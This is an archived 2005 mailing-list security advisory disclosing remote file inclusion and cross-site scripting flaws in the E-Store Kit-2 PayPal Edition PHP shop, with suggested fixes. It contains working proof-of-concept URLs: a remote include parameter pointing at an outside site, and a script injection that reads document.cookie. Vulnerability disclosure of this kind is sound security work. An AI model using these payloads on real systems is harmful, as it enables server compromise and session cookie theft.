Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

File inclusion and XSS vulnerability in E-Store Kit-2 PayPal Edition

from [dcrab] Network Security [Permanent Link]
Subject: File inclusion and XSS vulnerability in E-Store Kit-2 PayPal Edition
Date: 25 Mar 2005 21:49:08 -0000 


Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/

Severity:  High
Title: File inclusion and XSS vulnerability in E-Store Kit-2 PayPal Edition
Date: March  26,  2005

Summary:
There are file include and xss vulnerabilities in E-Store Kit-2 PayPal Edition.

Proof of Concept Exploits:

http://www.magicscripts.com/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=http://whatismyip.com&;

menu=http://whatismyip.com
This results in http://www.whatismyip.com opening up on the server side 
resulting in possible compromise of the full system.

http://www.magicscripts.com/demo/ms-pe02/downloadform.php?txn_id=";>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
This pops the cookie

Possible fix: The usage of htmlspeacialchars() and to enable safe mod in 
php.ini would solve these problems.

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to 

contact me regarding these vulnerabilities. You can find me at, 
http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout 
for my 

soon to come out book on Secure coding with php.
[More with this subject...]




<Prev in Thread] Current Thread [Next in Thread>
  • File inclusion and XSS vulnerability in E-Store Kit-2 PayPal Edition, dcrab <=
Previous by Date:  Re: New Whitepaper: Anti Brute Force Resource Metering, Luca Berra
Next by Date:  Re: Security Flaw with Digital signatures in Microsoft Outlook, Anthony G. Atkielski
Previous by Thread:  QuickTime malformed JPEG buffer overflow, liquid
Next by Thread:  Re: smail remote and local root holes (no, not really ;-), Greg A. Woods
Indexes:  [Date] [Thread] [Top] [All Lists]